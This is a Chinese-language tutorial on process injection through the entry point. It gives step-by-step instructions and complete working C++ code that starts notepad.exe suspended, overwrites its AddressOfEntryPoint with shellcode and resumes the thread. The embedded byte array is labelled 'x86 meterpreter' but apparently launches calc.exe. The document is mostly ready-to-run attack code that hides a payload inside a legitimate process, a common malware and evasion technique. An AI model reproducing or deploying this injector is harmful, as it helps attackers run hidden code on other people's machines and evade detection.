注入——AddressOfEntryPoint入口点注入

通过修改进程入口点，进行Shellcode注入。

1、首先使用CreateProcess函数创建进程，并且将参数填写为CREATE_SUSPENDED这代表新进程的主线程被挂起了

2、然后定位AddressOfEntryPoint入口点，使用WriteProcessMemory写入Shellcode

3、最后，调用ResumeThread恢复主线程，开始运行Shellcode

#include <iostream>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")

int main()
{
	//x86 meterpreter
	unsigned char shellcode[] = {
		0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
		0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
		0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
		0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
		0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
		0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
		0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
		0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
		0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
		0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
		0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
		0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
		0x00
	};

	STARTUPINFOA si;
	si = {};
	PROCESS_INFORMATION pi = {};
	PROCESS_BASIC_INFORMATION pbi = {};
	DWORD returnLength = 0;
	CreateProcessA(0, (LPSTR)"c:\\windows\\system32\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);

	// 得到目标映像的PEB地址和基地址
	// get target image PEB address and pointer to image base
	NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
	DWORD pebOffset = (DWORD)pbi.PebBaseAddress + 8;

	// 得到目标映像地址
	// get target process image base address
	LPVOID imageBase = 0;
	ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &imageBase, 4, NULL);

	// 读取目标程序头地址
	// read target process image headers
	BYTE headersBuffer[4096] = {};
	ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);

	// 定位到入口点地址
	// get AddressOfEntryPoint
	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
	LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD)imageBase);

	// 写入Shellcode到该地址，然后执行它
	// write shellcode to image entry point and execute it
	WriteProcessMemory(pi.hProcess, codeEntry, shellcode, sizeof(shellcode), NULL);
	ResumeThread(pi.hThread);

	return 0;
}